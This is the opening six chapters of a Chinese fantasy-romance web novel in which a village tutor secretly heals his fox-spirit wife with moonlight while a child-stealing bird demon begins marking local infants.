《娘子,你尾巴又露出来了》 第1章 娘子,你的尾巴又露出来了。 天澜大陆,夏乾国,白崖村。 村边有一丛茂密青竹林,后面,掩着间小小的私塾,窗户半掩,其内隐隐约约传来读书声。 透过窗户望去,便能见到其内坐着十七八个孩童,大的约莫十一二岁,小的不过五六岁,各自正襟危坐,摇头晃脑,大声读书。 堂上又有一个青年书生,身材颇高,样貌清俊,一手握着书卷,伴着朗读声,平缓踱步。 偶尔在一名孩童面前停下,用书卷敲敲对方桌面,低声问上一句,若是那孩童答出,书生便用手掌轻轻抚摸他的头顶,以示夸奖。倘若那孩童没能答出,便乖乖将手掌摊出,任书生用另一手的教鞭不轻不重地敲上一计,然后再听书生讲解。 片刻后,书生朝窗外望了一眼,见夕阳已经西沉,村中不少地方已经升起了炊烟,便将手中书卷合拢,微微一笑:“今日就到这里,散学罢。” 霎时间,孩童们欢叫起来,吵吵闹闹地开始收拾桌上的笔墨纸砚等物品。 书生站在院中,看着孩童们自门内涌出,温声交代:“马上天黑了,外面危险,不要贪玩,赶快回家,莫让父母亲等待。” 换来一声声乱糟糟的“知道了!”“知道了。” 突然,不远处的一个中年妇人揪住某个男孩儿的耳朵,呵斥道,“教过你多少次,散学时不要忙着走,先对先生行礼道谢,记不住吗?“ 那男孩苦着脸转过身,朝书生弯腰鞠躬,“多谢先生教导!” 书生莞尔,“不用这么客气,方才那样也无妨。” 中年妇人道:“秀才教得好,又耐心,比上个先生强太多了,而且束脩还减半,当然要多谢了。” 书生俊美的脸上露出一个微笑,好似玉树吐露华光,“当初我娘子身患重病,我们夫妻不得不借住在贵村,这几年多有叨扰,也承蒙各位照顾,束脩减半自是应当的。” 这时,远处行来一条娉娉婷婷的身影。 “哎呀,秀才娘子来了。”中年妇人笑了起来。 书生转头望去。 那人影行近了,是个娇弱弱怯生生的小娘子,就像朵一折即损的小白花。 肌肤如雪,五官娇美绝伦,尤其是一双眼睛,温柔如水又妩媚入骨,即便一身荆衫布裙也难掩光彩,虽梳着妇人发式,但样貌还略带稚气,看着不过十六七岁。 夕阳下,她的身影被拖得长长的,纤腰随着脚步动人摇曳,似乎比那湖边的垂柳还柔软几分。 书生不禁笑了起来。 小娘子的目光落在书生的脸上,红唇立即绽放出一个笑,细碎的脚步愈发加快两分,许是太着急了,未曾留意路面,脚尖踩到一块土疙瘩,险些跌倒。 书生赶忙大步迎上去,扶住了她,“小心些。” 小娘子细白的手指紧紧攥住他的衣袖,抬起头,看着书生,软声笑道,“我就知道相公一定会扶住我的。” “下次便让你摔一跤,吃点教训。”书生绷着脸说了句,却一直扶着她,待她站稳,他又替她拍了拍裙摆上的灰,才直起身,“我说过,你身体不好,平时乖乖在家等我便好,不用特意来这里。” 小娘子左右环顾了一周,见无人能听见两人的对话,方才轻扯着他的衣袖,踮脚弯眼,软软糯糯地小声道,“因为我想相公你呀,想早点儿见到你,等不及啦。” 说这话时,她白玉般的脸颊带着淡淡的粉色,也不知是害羞呢,还是因为夕阳的笼罩。 书生的唇角便绷不住了,微微弯了起来,“知道了,回家吧。” 小娘子轻轻点头,“嗯。” 夕阳下,两人的背影渐远。 方才那中年妇人感叹一声,“陈秀才和他娘子,可真是郎才女貌,天生的一对儿。” “是呀,看着都赏眼得很,”另一名矮个妇人附和了句,又问,“对了,再过几个月,陈秀才就该去省城乡试了吧?” 中年妇人点点头,“八月乡试,如今已经三月,最迟六月末,陈秀才应该就要离开了。” “哎,要是他能多待几年便好了,多亏了他,我家大小子的功课进步了不少。”矮个妇人说,“话又说回来,原来陈秀才和他娘子来俺们村,已经三年了,时间过得也真快……” 这书生名叫陈子均,三年前来到他们村,说自己本是去考乡试的秀才,但途中娘子生了重病,希望能在村中借一间空屋,为他娘子养病。 白崖村的村民向来热情,很快为陈子均夫妻两人腾出了一间小屋。 数个月之后,陈子均娘子的病好了,他却也为此延误了考期。 恰在这时,村中私塾的老先生身体不适,没法再继续教学,陈子均便成了新的先生,与他娘子一块儿在村中待了下来。 “当初陈秀才和他娘子刚来时,我还瞅了几眼他娘子……小娘子美是真美,却也当真病得极重,眼睛都没法睁开,那脸,白得和死人一般,”中年妇人感慨道,“陈秀才也是情深义重,一边寻医问药,一边不分日夜、衣不解带地照顾着她,花了好几个月,那小娘子方才渐渐好了起来,如今瞧着,简直比花儿还美上几分,啧啧。” 矮个女人看了眼四周,忽地压低声音,“我倒是觉得,那小娘子不像花儿,倒像只狐狸精。” 中年妇人一愣,而后,重重剜了对方一眼,怒冲冲道,“你瞎说些什么,秀才和他娘子都是极好的好人,怎么会像那些吃人不眨眼的妖物!而且,秀才娘子若真是狐狸精,我们村只怕早就没有活人了!” “我不是说她心肠像那狐妖,”矮个女人连忙解释,“我是说,嗐,你瞧小娘子那双眼,眼波轻轻一转啊,就简直能把人的魂儿都勾走,还有那腰,那笑……我觉得吧,那些让男人看上一眼就丢了魂的狐狸精们,无非也就那样儿了。” 中年妇人这才面色稍霁,却道:“那也不应当说这种话。” …… 陈子均和小娘子漫步在回去的路上。 此时,云雀儿声声喧闹,牧童的笛声在春日的暮色中回荡,村庄中,家家户户都燃着炊烟,养家护院的狗儿不时低吠两声…… 这景象安宁祥和,让两人都心旷神怡,只觉仿若置身于极乐世界之中。 又走了一段,路边草树的影子都渐渐与地面混为一色,暗淡的暮霭中,只有远处那一大从的白色杜鹃花儿,还依稀可见。 绕过那一大从的杜鹃花,前方又冒出了两户人家。 前面那家院子里养着几笼鸡,个个生得颇为肥壮,正咯咯哒哒地叫着。 途经院子,小娘子忽然有些呆呆地挪不动脚步,目光直直地望着那些鸡,张着嘴巴,垂涎欲滴。 与此同时,她长裙后侧突然变得鼓鼓囊囊,似乎里面多出了什么东西。 头顶两侧,也悄悄钻出了两个毛绒绒的小尖儿。 陈子均叹了口气,大手揉了下她的脑袋,低声道:“娘子,你的尾巴和耳朵又露出来了。” 第2章 是想吃鸡了吗? 小娘子扭头看了他一眼,而后,支棱着那对毛绒绒的小尖尖愣了几秒,方才回过神来,“呀——”地轻叫一声。 下一瞬,头顶与裙子都恢复了正常。 “对、对不——起哦,”她眨着眼睛,软软糯糯怯生生地说,“相、相公,我又忘记了……” 陈子均没说话,就这么寂寂无声地望着她。 目光深沉又难以揣测。 小娘子自知理亏,撅起小嘴,委委屈屈地看着他,“相公……大人,下次、下次人家真的不会了……” 陈子均抬起手指,在她白皙的额头上用力弹了一下,板着脸道,“我看,胡翘翘这个名字对你不太合适,不如改名叫胡馋猫吧。” 看到几只鸡,就馋得快露出原型。 小娘子眨巴着眼,手指轻扯着他衣袖,来回摆着,乖巧道,“好哦,只要你不生气,人家便叫胡馋猫啦。” 陈子均,“……” 他深知这时候不能对自家娘子稍加颜色,哪怕流露出一丝半毫的松动亦是不可,否则以这小狐狸善读人脸色的能耐,立马就顺着杆儿爬上来,到时候一点教训都长不了。 于是,他依旧冷着一张脸,衣袖一甩,大步往前走。 胡翘翘慌了神,碎步跟在后面,娇滴滴唤道,“相公……相公……” 陈子均不做声,推开后一户人家的院门。 “相公……”胡翘翘跟着他进了院,又进了屋。 等房门关上,她找出火镰,点燃堂屋中的蜡烛,原本已经昏暗的房间便亮了几分,而后走到坐在椅子上的陈子均面前,扯住他衣袖,怯怯地叫了声。 “相公……” 陈子均这才将视线挪向她,眼中半分笑意也无。 摇曳的烛光下,她眼圈泛红地望着他,模样儿十分楚楚可怜,“翘翘知错啦,你要是生气,可以打我骂我,但是千万别不理我……” 陈子均板着脸,“错了?错哪儿了?” “你说过,千万不可以在外面露出尾巴和耳朵,只有与你独处的时候才行,”胡翘翘的一双眼睛就这么盈盈若泣地看着他,既有清透无辜的单纯,又有不自觉的妩媚,掺在一块儿,有种说不出的勾人,“因为大部分的人都讨厌妖精,若是翘翘被人发现,大家就会不许相公和我在一块儿了,还可能会有坏蛋把翘翘抓走,到时你找不到翘翘,会很难过很难过的。是翘翘不对,看到几只鸡就把你的话忘了,这说明我没将你的话放在心上,你脾气再好、对翘翘再喜欢,也会伤心的嘛……” “就这些?”陈子均面无表情。 “下次、下次真的不敢了……” “倘是下次再这般便如何?” 她白净的手绞成一团,垂下长长的睫毛,眼泪已经开始扑簌簌地往下掉,那模样,任何一个看到的男人都会心软。 “再有、再有下次……相公……就……就永远……永远不理翘翘……” 陈子均彻底没法生气了,展开手臂,将她拢进怀里,声音放温柔了几分,“别说这种话,我怎么可能舍得永远不理你……好了,我不生气了,别哭了。” 胡翘翘:“呜呜呜。” “别哭,”陈子均抬起了手,捋了一下她额头前的一缕发丝,“是想吃鸡了吗?明儿咱们一块去市集买两只,行不行?” 胡翘翘,“呜呜呜,呜呜呜……” “都说给你吃鸡了,你怎么还在哭?”陈子均叹气,“还是觉得两只不够,要买三只?” 胡翘翘一扭身,柔软得似是没有骨头般的身子直接埋进他怀里,手臂搂住了他,呜呜咽咽地道:“相公,你为什么对翘翘这么好……” “你是我娘子,我自然要对你好。” 胡翘翘抬起脑袋,眼泪汪汪地望着他,“那要是别人是你的娘子呢,你也会对她们这么好吗?” “……没有别人。” “假如呢?” “没有这个假如。” “嗯~你就假如一下嘛……” 陈子均想也没想地回答,“我的娘子,永远是你一个人。” 胡翘翘眨巴了下眼,突然,眼泪涌得更厉害了。 “相公——” 她将脸贴在了他的肩上。 很快,陈子均感觉到肩头湿湿的、热热的。 “怎么反而越哭越来劲了……”他轻轻拍着她的后背,“娘子乖,别哭了,明天起来眼睛要肿了。” 过了会儿,胡翘翘终于慢慢止住眼泪,抬起手,圈住他脖子,娇软软地说,“相公,明天我们真的去市集买鸡吗?” “嗯,”陈子均微微一笑,“明日正好休沐,我们去市集逛逛,你也好久没出门了。” 休沐便是私塾休息的时候,一般是隔九休一,相当于一个月有三天的休沐。这三天的时间,陈子均都能自由支配。 一听这话,胡翘翘便脸现憧憬,接着不知想到什么,神情变得嗫嚅。 陈子均窥出了她的欲言又止,“怎么了?” 她垂着眸,指尖儿在他胸口上轻轻画圈,“可不可以再买几只小鸡呀?” 陈子均失笑,“怎么突然又想买小鸡了?” “大鸡贵嘛,买小鸡我们自己养,可以省点银钱,待它们长大之后,还能想吃就吃。”她小声说。 陈子均抬手刮了刮她的鼻子,“之前买过的小鸡,何时等到过它们长大?不是没多久就被你偷吃了吗?” 胡翘翘顿时涨红了脸,眼神忽闪,软软地狡辩道,“不是、不是我啦,是黄鼠狼偷的……” 陈子均忍着笑,“会撒谎的娘子不可爱。” 胡翘翘顿时不安起来。 怎么办,再不承认下去,万一相公觉得自己不可爱就不好啦。 她的眼珠子左右转了半天,才下定决心,声音比蚊子哼哼还小地开了口。 “好、好吧……是我吃的,”她又红着脸,用一种发誓赌咒般的语气,斩钉截铁地说,“但人家向相公保证,这次买了小鸡,一定好好养大……” 陈子均的唇角弯得更高了,“还是不行。” “……” 漂亮的小脸直接耷拉下来。 如果头顶有耳朵,估计也跟着垂了。 “你忘了吗?再过两三个月,我们就要离开这儿,去省城了,”陈子均笑了,捏捏她沮丧的脸蛋儿,“到时候养到一半也不能带走,太麻烦了。” “对呀,我要和相公去省城啦!”胡翘翘的目光一下亮了,搂住他脖子,仰着脑袋望向他,喜孜孜地问,“相公,省城一定很大很漂亮,还有很多好吃的,好玩的吧?” “那是自然。” “是不是还有很多衣服铺子,水粉胭脂店?” “满街都是。” “有戏班子?” “嗯,还有杂耍的。” “卖糖人的呢?” “有啊,”陈子均慢条斯理地捋着她的头发,如数家珍,“而且,不光有卖糖人的,还有卖冰糖葫芦的,卖栗子糕、桂花糕、豌豆黄,花生糖、麦芽糖、打卤面、烤鸭、烤乳猪……” 胡翘翘听得双目发直,一双耳朵竖起,毛绒绒的大尾巴也从裙摆下钻了出来,来回摆动。 “哇——” 光是听着名字,都感觉口水要流出来了啦! “……”陈子均挑眉看着她,“但在出发之前,你一定要能学会随时随地把你的耳朵和尾巴收好,否则,我就不带你去省城,将你一个人留在这儿。” 第3章 我是一肚子对相公的爱的小狐狸精 “知道啦。”胡翘翘吐了下舌头,双耳和尾巴瞬间没入体内,扭头看了眼窗外,一声轻呼,“呀,天都全黑了。” 她轻拧腰肢从他怀中站起,“相公,你饿了罢,饭菜还温在锅里呢,我去端上来。” 没多久,厨房的桌上便摆好了饭菜,淡淡香味缭绕两人的鼻尖。 “相公,今日的芋头蒸的很糯,你多吃两个……”胡翘翘小脸漾笑,烛光下如花娇艳,极为殷勤地替陈子均夹菜,“还有炒蘑菇,昨儿下了雨,咱们后院的蘑菇长了好多出来,对啦,这鲫鱼豆腐汤是隔壁王婶儿教我做的,你快尝尝。” 她盛了一碗汤,放到陈子均的面前。 陈子均用勺子盛起一勺,吹了几下后,放到唇边。 胡翘翘咬着唇,目露紧张地看着他。 陈子均不紧不慢地咽下,微微一笑,“还不错。” 胡翘翘顿时喜出望外,她厨艺向来不精,又是第一次做鱼汤,生怕做得不好,相公不爱吃。 现在得到肯定,才放下心来。 她握着筷子,眼儿弯弯地说,“王婶儿说鱼汤能补脑,你平日教书辛苦,要多喝一点噢。” “嗯。” 胡翘翘又夹了一筷子鱼肉,借着烛光仔细挑出一根根鱼刺,再检查一番,感觉没有遗漏,方才将它放进了陈子均的碗中,柔声道,“相公,应该没刺啦,吃吧。” 陈子均抬起眼皮瞥了她一眼,叹气,“别光顾着我,你自己的饭都要凉了,赶快吃吧。” “我没关系,你先吃好比较重要。”胡翘翘抿唇浅笑。 “吃。”陈子均用命令的语气说了一个字。 胡翘翘这才端起碗,开始吃饭。 “喝汤。”陈子均又说。 胡翘翘便放下筷子,动手给她自己盛汤。 过了会,她悄悄地抬眸偷瞄了陈子均一眼,见他低着头吃饭并没有瞧她,于是等盛到半碗过一点点时,便把碗挪回自己跟前,鱼肉也没夹,只将鱼头和两块豆腐放进了碗里。 这条鱼不大,自己吃鱼头和豆腐就好了,鱼肉就留给相公吧。 陈子均抬眸看了眼,顿时从她面前把饭碗和汤碗都拿了过去。 在胡翘翘愕然的目光中,他拿起筷子,开始给她夹鱼肉。 胡翘翘急了,“相公,你自己吃就好,不用给我的。” 陈子均充耳不闻,夹了大半条鱼堆在碗里,又给她的米饭上也堆满了菜,才将两个碗都还给她,“把这些全部吃完。” 胡翘翘看着碗,只觉得一颗心都像是泡在了蜜糖里,甜到连话也不会说,只是一个劲儿地笑。 几年前她生了一场大病,听相公说,几乎是两只脚都踏进了鬼门关。 虽说如今她身子已痊愈,但依然远不如常人精力充沛,总是易倦乏力,用相公的话说,便是“病去如抽丝,还要好好养着”,仍旧对她呵护备至。 相公,真好。 晚饭吃完,陈子均去了卧房。 这里没有单独的书房,他平日看书习字都在卧房内。 点亮桌前的油灯,他自旁边的架子上拿出一卷书,在桌前坐下随意翻阅。 片刻后,胡翘翘也走了进来,她拿着本《论语》在他身边坐下,摇头晃脑地开始读:“子曰,学而时习之,不亦说乎……” “快三年了,你才堪堪读完《三字经》、《千字文》、《笠翁对韵》和《中庸》,”陈子均瞥了她一眼,颇有些无奈,“现在《论语》学了三个月,还在翻来覆去的读‘学而篇’……这样下去,何时你才能学到《孟子》?” “读书一点也不好玩儿,何况人家又不用考状元,”胡翘翘一手支着脑袋,嘟起了嘴,“相公干嘛老让我读书……” 相公读书的样子很好看,她瞧上一天也不会腻,可换做她自己来读这些“之乎者也”,就感觉乏味得紧了。 陈子均放下手里的书卷,看着她,温声道,“我和你说过,读书不是为了玩,是为了明理,明理方能……” “修身、养德,通人性、知天命。”胡翘翘接过去,“这几句我都会背啦。” “……” “《论语》读起来很没意思呀,相公,我可不可以换一本?” 陈子均又瞅了她一眼,“换哪本?” 胡翘翘起身,从架子上抽了本《诗经》过来。 她坐下,两条长腿儿伸得直直的,晃着脑袋念,“关关雎鸠,在河之洲,窈窕淑女,君子好逑……” 又念,“桃之夭夭,灼灼其华,之子于归,宜其室家……” 再念,“南有乔木,不可休思,汉有游女,不可求思……” 续念,“蒹葭苍苍,白露为霜。所谓伊人,在水一方……” 陈子均终于抬起手,在她的额头上不轻不重地敲了一下,“就爱读这种是吧。” 胡翘翘捂着额头,冲他嘻嘻一笑。 这时,她感到一丝凉意,才发现窗子没关好,便放下书起身。 走到窗边时,忽然有一阵若有若无的哭声随风飘了过来。 胡翘翘有些好奇地睁大了眼,朝窗外看去。 除了一片如墨般的漆黑夜色、悬在夜幕上的一轮明月和点点繁星,她什么也没见到。 蓦地,一只大手从她的身后伸了过来,关上了窗。 那哭声也被隔断在外。 胡翘翘转身朝陈子均问,“相公,为什么最近一到晚上,外面就能听到女人在哭呀,是谁在哭?” “不是女人,是姑获鸟。” “姑获鸟?这种鸟的哭声怎么和女人一模一样?” “姑获鸟不是真正的鸟,而是一种妖怪。”陈子均耐心地向她解释道,“这种妖怪是由死于非命的孕妇所化,因为她们无法诞下腹中的孩子,所以夜夜啼哭。白日里姑获鸟会化为妇人,出来寻找孩童,一旦有其看中的,便会在那孩子额头上点一颗红痣,到了夜间,她就取走那孩子的魂魄,再饲养成小鬼。” 胡翘翘的眼睛亮闪闪,一脸崇拜地看着他,似春日桃花般的唇翘出浅笑的弧度,“相公,你懂得可真多,你肚子里的学问,一定像大海那么深吧。不像我,一肚子草包。” 陈子均睨她一眼,“我看你是一肚子坏水儿的小马屁精。” “才不对,人家是一肚子对相公的爱的小狐狸精。” “不害臊。”陈子均忍不住笑了,轻拧了她的小脸一下,“好了,继续看书吧。” 夜色愈发深沉。 陈子均拿着书,扭头朝半天未做声的胡翘翘看去。 不知何时,她已趴在桌上,昏昏睡去,略带稚气的脸颊在跳动的烛光映照下,愈发白净如玉、吹弹可破,唇瓣也更显娇艳欲滴,引人心动。 陈子均静静地盯着她看了会儿。 突地,胡翘翘的嘴唇动了动,小声呢喃着,“相公……翘翘好喜欢你哦……” 第4章 人家给你暖好了被子…… 陈子均微微一笑,将书放下,起身。 片刻后,他端了一个木盆进来,盆里是半盆温热的清水。 将盆放在胡翘翘的脚边,陈子均半蹲下身子,很快,自她的裙底下寻找到了一只纤弱无骨般的脚腕。 陈子均轻轻握住那只脚腕,再脱下了鞋,以及里面的白色布袜。 随着袜子的脱落,一只白皙粉嫩的小脚丫便露了出来。 随后,另一只小脚丫也被他如法炮制。 接着,陈子均便捧起那两只小脚,将它们一起轻轻放入盆中。 尽管他的动作已经极为柔顺,但双足突然被温暖的水浸泡住的感觉,依旧惊醒了胡翘翘。 她睁开眼,看清后,立即低呼一声,“相、相公,你在干什么?” “在给你洗脚啊,我看你也困了,等脚洗完以后再洗个脸,便去睡吧。”陈子均头也没抬,用水轻抹着她的一只脚,同时问道,“水温怎么样?” “刚、刚刚好……”胡翘翘低头,看着自己的一只小脚被相公略带凉意的大手捧在掌心中,脸颊便一点点爬上红云,“我、我自己来洗就好啦。” 虽说相公并不是第一次给她洗脚,但每一次,她的心跳都会变得好快,脸也烫烫的,身体则是阵阵发酥,似乎要软成一滩水,让她既想将脚抽回来,又有些舍不得这古怪的感觉。 “别乱动,”陈子均按住她的脚,力道控制得刚好,让她无法将脚抽回,又不会弄疼她,而后,大手抚摸着她白嫩的脚背,轻轻擦拭着,“给你洗个脚怎么了,每次都这么扭捏。” “会、会臭啦……” “谁说的,一点都不臭。” 胡翘翘小声问,“……相公,你真的不嫌弃吗?” “你都叫我相公了,你觉得我会嫌弃自己娘子吗?” 一个男人,在喜欢一个女人时,为她做什么都愿意,亦是看她无处不好,对她无处不爱,更不可能嫌弃她的脚了。 陈子均说着,灵巧的手握着她的脚,轻轻磨蹭揉捏。 那双脚也就他的手掌那么大,虽然穿了一天的布袜,又走了不少路,却依旧似是刚剥皮的春笋,小巧白嫩,莹润光洁,似乎稍用点力,就能挤出水来。 胡翘翘低头,将他的每个动作都看得清清楚楚,见他微凉的手指在她一个个娇嫩的脚趾缝隙里抹过,格外细心,突然脸颊热得滚烫。 好想让相公抱住自己,然后在他的怀里软成一滩水…… 呜,感觉越来越奇怪啦。 陈子均抬起头,问,“是水太热了吗?你脸怎么这么红?” 胡翘翘的小脑袋摇得像拨浪鼓,支支吾吾地道,“没、没有啊,我也不知道。” 陈子均笑笑,不再说话。 将她的两只脚洗好后,陈子均拿了布替她擦干,再套上一双干净的布袜,并系好袜口。 等胡翘翘洗脸回来,陈子均已经铺开了床被。 她解开云鬓,再脱掉外面的衣裙,而后,穿着贴身小衣钻进了被子,只露出泛着红晕的脸儿,轻声道,“相公,你也快去洗洗,然后来睡吧。” “你先睡吧,”陈子均在桌前坐下,用挑子拨亮灯芯,“我还不困,再看一会儿书。” “……哦。” 陈子均翻着书,离他不远处的床上,胡翘翘也在悉悉索索地来回翻身。 少顷后。 “相公……” 身后传来一声轻唤。 陈子均扭过头,看到正半支着身子,眼波盈盈如水地望着他的胡翘翘。 那丝绸制成的贴身小衣,滑顺无比地贴伏出丰盈滑润的曲线,乌黑如墨的青丝缕缕散落,肌肤白皙如玉,一眼看去,美得不可言表。 陈子均温声问,“怎么还没睡着?” “我在等你呀,”胡翘翘撅起嘴,“别天天都读到那么晚啦,夜里寒气重,人家都已经给你暖好了被子,早点来安寝嘛……” 她声音又轻又软,听在人的耳里,像长了个无形的小勾子,一下下地勾人的心尖尖儿,又痒又麻的。 陈子均的心中不禁一荡。 夜色深浓。 陈子均刚一躺入被子,一个温热香软的娇躯便钻进怀中,胳膊环住他的腰。 “相公——”胡翘翘软腻腻地唤了句,然后轻轻吸了口气,“你的身上还是这么凉。” 较之于她,相公的体温有些儿偏低。 每次与相公贴贴时,她都觉得像靠着一块冰,又似乎是一块儿寒玉,阵阵幽冷之意自他身体散出来,再渗入她的体内,仿佛能冻结她的血液骨髓。 或许是那些大夫们说的,因为相公是读书人,平时少见阳光、疏于劳作,导致阳虚体弱、血流不畅,身体便会发寒。 胡翘翘心疼之极,努力将自己热乎乎的身子与他再贴紧一些,同时,一条毛茸茸的大尾巴也跟着裹了上来。 “相公,有没有暖一些呀?”她软声问。 陈子均笑了,揉着那条大尾巴,低声道,“很暖了,谢谢娘子。” 胡翘翘感觉到他身上的那股幽冷之意,似乎真的消退了不少,方才安心下来。 她打了个小小的哈欠,“好困呀,我们赶快睡觉吧。” 没多久,她胸口的起伏便逐渐平缓,偶尔还会轻轻砸吧一下小嘴。 陈子均却没有半点睡意,只是静静垂眸望着怀中的小娘子。 室内幽暗无光,但在他的眼中,连她那一根根纤长细密的睫毛都清晰可辨。 待她的气息彻底平稳悠长,陈子均方才轻轻挪开她环在他胸口上的手臂,还有那条尾巴。 从床上下来后,他又弯下腰替她掖了掖被角。 再次站直,陈子均抬起手,快速而熟练地捏了一个复杂无比的印诀。 印诀的最后一步落下,虚空忽然发出细微的震颤,如水波一般,在天地间快速延伸开去。 今夜,有风少云,月明星稀。 紧接着,奇异之极的景象发生了。 这一片天地间的月色,似乎都被那水波汇聚在了一起。 原本乳白色的月华,渐渐化为了极致的透明,变得比最为极品的水晶还要澄澈纯净无数倍,没有一丝一毫的杂色,而后,它穿过窗户,涌入室内,再一丝一缕地缓慢渗入到了躺在床上的胡翘翘的眉心中。 在她眉心深处,不可见的识海之中,正有一只小狐,蜷缩在这透明的海洋中,闭着双目,双腿蜷在胸前,双爪抱腿,大尾巴包裹着娇小的身体,就像母亲腹中的胎儿那般,恬然沉睡。 这小狐看着无比灵动,却又透着几分虚幻、脆弱之意,仿佛来一阵微风,便能将它吹散。 不过,随着那月华温柔无比的渗入,每多一丝一缕,这只小狐的虚幻之感,就似乎减少了几乎微不可见的一点…… 第5章 能不能让我抱抱她 月亮,又称太阴星。 其星力至纯至柔,对神魂最为滋养。 当初陈子均选中白崖村作为落脚点,便是因为这一带的月华最为浓厚。 尽管他每夜都引来太阴星力为她滋养,但她命魂受损太重,三年下来,也才勉强恢复大半。 待到月华被胡翘翘吸收殆尽,陈子均又观察片刻,未见异常,方才躺了回去。 …… 窗外鸟儿婉转,东方初露晨曦。 胡翘翘睁开眼,见身旁空无一人,便下床,穿衣梳头。 出了卧房,她鼻子动动,循着香味儿走到了厨房。 桌上摆着两碗粥、一碟炒蘑菇,几个煮鸡蛋——因陈子均教书的缘故,时常有村民会拎着米面蔬菜,或是一篮鸡蛋,或是两条鱼,或是半片腊肉送来。尤其以鸡蛋为多,所以两人即便不养鸡,也几乎每天都有鸡蛋可吃。只是鸡要留着下蛋,村民便甚少会送鸡。 至于香味儿,则是从炉灶处传来。 胡翘翘踮起脚尖儿,轻轻走过去,而后,对着锅中煎得金黄的油饼吸了一口气,“真香呀!” 陈子均将油饼翻了个面,淡淡道,“馋猫醒了?” “……相公,你每天都起这么早,让人家很羞愧呀。” “羞愧什么?” “圣人曾说,君子远庖厨……”胡翘翘扭着手指,羞赧地小声道,“理应是我每天先起来,做好早饭,再服侍你起床吃饭。现在这样,让我觉得自己这个娘子做得很不称职……” 她不是不想亲手为相公做早饭,但她总是一觉睡到天亮,实在没法在相公之前起床。 “君子远庖厨的意思是不要离杀生的地方太近,不是不能来厨房做饭,让你平时多看点书,总是打瞌睡。”陈子均将煎好的油饼装进盘子,“圣人还说,唯女子与小人难养也,你觉得对吗?” 胡翘翘立马摇头,“不对。” “哦?”陈子均把盘子放在桌上,“哪儿不对?” 胡翘翘跟过来,一脸认真地说,“我吃得少,又不乱花钱,听相公的话,还会给相公暖被窝,怎么会难养呢?” 应该是超级好养才对! 陈子均心中微乐,他也没去纠正她此“女子”非彼“女子”,此“难养”也非彼“难养”。只是淡淡道,“你看,圣人也不是什么话都对。何况我是你相公,给你做顿早饭,也没什么大不了的。” “相公真好。”胡翘翘心花怒放,踮起脚,在他脸上落下柔软香甜的一吻。 陈子均揉了她头顶一下,“刷牙洗脸,吃完早饭我们收拾一下,就出发去市集。” …… 早饭吃过,胡翘翘又取出一盒香粉,用水调匀后,轻轻涂抹在脸上。 这香粉的颜色偏黄偏暗,涂上后,她原本白嫩光洁的脸蛋便变得发黄暗沉,如此一来,丽色便少了几分。 再将双手也涂了,眉形描得粗短一些,又取出一块面纱,遮住大半张脸,只露出眉眼。 做完这些,胡翘翘对着镜子照了照,方才满意。 她第一次和相公逛市集时,没用面纱遮脸,走到哪儿,便被人盯着瞧到哪儿,极不自在,无奈之下,只能与相公提前离开。 后来她便吸取了教训,每次去市集之前,都会以面纱和香粉遮盖容颜,以避免麻烦。 “好啦。”她喜孜孜地看着陈子均,“相公,我们走吧。” …… 陈子均带着胡翘翘来到村口,这里,已经有两辆牛车在等候着。 每逢初一十五,便会有村民驾这两辆牛车,送要赶集的村民们前往镇上的市集。 至于价钱,也不贵。倘若坐牛车去市集后,还要再乘坐牛车回来,便给三文钱。若是只坐单程,便给两文。而能直立行走,但身高不超过车辕的小孩儿,单程需一文,来回两文。若是要带货物去市集做生意呢,便需按照货物的体积额外算钱。 牛车是男女分坐,陈子均先扶着胡翘翘上了妇人们所坐的那架,再坐上另一架。 车上的男女都识得他们夫妻两人,一见他们上车,便“秀才公”、“秀才娘子”地热情招呼,两人光是含笑寒暄,都费了好一会儿工夫。 刚到辰时(早上七点),两辆牛车便一前一后,缓慢而平稳地出发了。 市集是在十余里外的镇上,以牛车的速度,需要近一个时辰才能到。 坐在胡翘翘身边的是一个年轻嫂子,怀里抱着个白白胖胖、甚是可爱的小娃娃,那娃娃看到胡翘翘,便咿咿呀呀地伸出小手,想要她抱。 胡翘翘很是欢喜,从自己的小荷包中摸出一颗蜜饯,放进她的小手。 小娃娃捧着蜜饯,开始砸吧。 路上,大娘婶子们叽叽喳喳地聊起了天。 片刻后,一名大娘压低声音,神秘兮兮地道,“你们听说了吗,这半个月里,孙家村有两个孩子丢了魂!” 立即掀起一阵惊讶。 “真的?” “咋丢的?” “谁知道呢,反正就和睡着了似的,怎么也唤不醒。” “哎哟,那可怎么办啊?” “该不会是招惹了啥不干净的东西吧?” “没事儿,”大娘连忙道,“我听人说,孙家村那边已经上报了,这几天便会有仙师过来查探情况。” 众人都松了口气,又开始聊起了其他东家长西家短的话题。 行到中途,牛车忽然停住。 不远处,有个包着头巾的少妇站在路边,询问牛车是否有空位,说是想搭车去市集。 片刻后,少妇上了妇人们所在的牛车。 牛车继续往前。 那少妇看着二十出头的年龄,身材窈窕,容貌平平,只是一双眼睛十分幽黑。 上来后,目光在车上一转,便若无其事地在那抱着娃娃的嫂子身边坐下了。 那娃娃原本在乖巧地吃着蜜饯,当那少妇坐过来,忽然瞪大了眼,直勾勾地望着她,紧接着,小脸发白,哇地一声大哭起来,仿若看到什么极其恐怖的怪物一般。 嫂子连忙拿出个拨浪鼓哄她。 但娃娃还是哭个不停,连蜜饯也扔掉了。 “怎么突然哭得这么厉害,”嫂子有些慌乱,“方才还好好的呢。” “许是坐车太久,她有些烦闷了,”那少妇盯着娃娃,嘴角微微勾起,柔声开口,“我很会哄孩子,能不能让我抱抱她?” 第6章 千年白蛇妖 嫂子犹豫了一下,但因为娃娃实在哭闹得厉害,而且众人又在牛车之上,不至于担心对方是拐子,便将娃娃递了过去。 少妇将娃娃抱在怀里,轻轻摇晃,嘴里还哼着歌谣,“乖宝宝,不要闹,到晚上,陪妈妈,睡一觉……” 娃娃的哭声渐渐止息,闭上了眼。 少妇却仍旧抱着娃娃轻轻摇晃。 嫂子几次想开口要回娃娃,但被那少妇目光在脸上一转,不知为何,便张不开口。 直到牛车到了市集,那少妇才微微一笑,将依旧昏沉入睡的娃娃重新还给婶子,下车离开。 此时,镇上已经是人流如梭,少妇的身影转眼便没入人群。 嫂子抱着娃娃,心中松了口气。 一低头,忽然一愣。 不知何时,娃娃的眉心中央,多出了一个鲜血般的红点。 她伸手去擦,不料那红点竟怎么都擦不掉。 突然,一只大手伸了过来,手指在那红点上轻轻一揩。 红点消失了。 嫂子有些惊讶地抬头,陈子均对她微微一笑,便去到了胡翘翘的身边。 牛车会停在这儿,一直到酉时,便带着众人返回白崖村。 在这期间,众人可以自由在市集活动。 陈子均和胡翘翘与众人打了声招呼,便径直离开,开始逛了起来。 